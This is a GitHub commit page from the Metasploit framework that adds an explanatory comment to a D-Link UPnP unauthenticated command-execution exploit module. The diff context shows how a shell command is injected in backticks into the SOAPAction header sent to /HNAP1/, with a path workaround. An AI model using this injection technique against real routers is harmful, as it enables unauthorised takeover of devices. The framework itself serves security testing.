Skip to content

Commit 4a6fec7

Browse files
committed
Land rapid7#5439, @firefart's explanations on dlink_upnp_header_exec_noauth
2 parents c241018 + 73f7885 commit 4a6fec7

File tree

1 file changed

+1
-0
lines changed

1 file changed

+1
-0
lines changed

modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -99,6 +99,7 @@ def execute_command(cmd, opts)
9999

100100
uri = '/HNAP1/'
101101

102+
# we can not use / in our command so we need to use a little trick
102103
cmd_new = 'cd && cd tmp && export PATH=$PATH:. && ' << cmd
103104
soap_action = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd_new}`"
104105

0 commit comments

Comments
 (0)